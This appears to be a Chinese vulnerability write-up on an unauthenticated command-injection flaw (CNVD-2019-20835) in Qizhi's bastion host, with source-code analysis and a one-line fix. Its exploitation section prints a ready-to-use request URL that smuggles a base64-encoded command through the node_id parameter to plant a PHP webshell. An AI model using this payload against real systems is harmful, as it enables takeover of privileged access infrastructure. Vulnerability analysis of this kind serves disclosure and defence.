一、基本信息

  漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201

  补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。

二、源代码分析

  问题出现在ha_request.php文件,第37行的exec函数,$url为用户可控的变量,可见第33和34行。目光来到第23和24行,只要node_request函数的返回值为“OK”,即可跳过fatal函数(此函数为自定义函数,作用类似PHP内置的exit函数),继续往下执行。

  Node_request函数的定义在include/common.php文件中,见下图2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,$url = "http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));。所以$url变量值类似于http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D这样的字符串。

  但是$req_ipaddr和$req_node_id均来自用户输入。因此,假设10.20.10.11为黑客可控的服务器,listener/cluster_manage.php文件的内容为“<?php echo ‘OK’;>”,即可使得node_request函数返回“OK”,从而跳过fatal函数,继续往下执行来到exec函数。

  回到exec函数,此时该函数的第一个参数是这样的,"wget --no-check-certificate http://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2",所以我们的payload只能放在$req_node_id变量中。

  见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符。

图1

图2

图3

三、漏洞利用

  利用条件:无需登录

  利用过程:

  第一,http://10.20.10.11/listener/cluster_manage.php返回“OK”。

  第二,执行以下链接即可getshell,执行成功后,生成PHP一句话马/var/www/shterm/resources/qrcode/lbj77.php密码10086。这里假设10.20.10.10为堡垒机的IP地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

四、参考及修复建议

1、修复建议

  $node_id的看起来应该是一个整数,所以只需在ha_request.php文件开头,添加以下一行代码,对该变量进行过滤即可。

  $node_id = @intval($req_node_id);

2、参考

  https://www.php.net/manual/en/function.exec.php

  https://www.anquanke.com/post/id/84920

转载请注明出处。

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析的更多相关文章

  1. 齐治运维堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析

    基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...

  2. 齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析

    一.基本信息 参考:https://www.cnvd.org.cn/flaw/show/1559039 补丁信息:该漏洞的修复补丁已于2019年4月1日发布.如果客户尚未修复该补丁,可联系齐治科技的技 ...

  3. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  4. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  5. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  6. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  7. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  8. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  9. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

随机推荐

  1. c#截图功能

    简化版: using System; using System.Collections.Generic; using System.Linq; using System.Text; using Sys ...

  2. 003-官网安装openstack之-keystone身份认证服务

    以下操作均在控制节点进行 1.控制节点安装keystone服务 概念理解: Keystone是OpenStack框架中,负责身份验证.服务规则和服务令牌的功能, 它实现了OpenStack的Ident ...

  3. Linux C打印所有的环境变量

    #include <stdio.h> extern char** environ; int main() { ; ; environ[nIndex] != NULL; nIndex++) ...

  4. C# MVC中直接执行Js

    .NET MVC里如何在服务器端执行JS: 三种解决方案: 1.直接返回JavaScript. public ActionResult XXXAction1() {      return JavaS ...

  5. 将pandas的DataFrame数据写入MySQL数据库 + sqlalchemy

    将pandas的DataFrame数据写入MySQL数据库 + sqlalchemy import pandas as pd from sqlalchemy import create_engine ...

  6. Codeforces Round #588 (Div. 2) D题【补题ING】

    思路:先找出现次数>=2数.然后在取跑所有数,需要考虑一般情况(当一个人比另一个人的ai小且他们的与运算等于小的那个人的ai那么可以知道大的那个人必定强于ai小的那个人). 则可以用位运算实现判 ...

  7. css偷懒神奇

    偷懒神奇链接:https://qishaoxuan.github.io/css_tricks/glass/

  8. 《视觉SLAM十四讲》学习日志(一)——预备知识

    SLAM简介 : SLAM是 Simultaneous Localization and Mapping 的缩写,中文译作 " 同时定位与地图构建 ".它是指搭载特定传感器的主题, ...

  9. cdh版hbase构建Phoenix 遇到的坑

    Phoenix 构建cdh版hbase遇到的坑 1. 安装phoenix 下载:在github上下载对应版本https://github.com/apache/phoenix 解压:略 编译: 修改根 ...

  10. 20175313 张黎仙《Java程序设计》第十周学习总结

    目录 一.教材学习内容总结 二.教材学习中的问题和解决过程 三.代码调试中的问题和解决过程 四.代码托管 五.心得体会 六.学习进度条 七.参考资料 一.教材学习内容总结 第十二章内容 主要内容 杂项 ...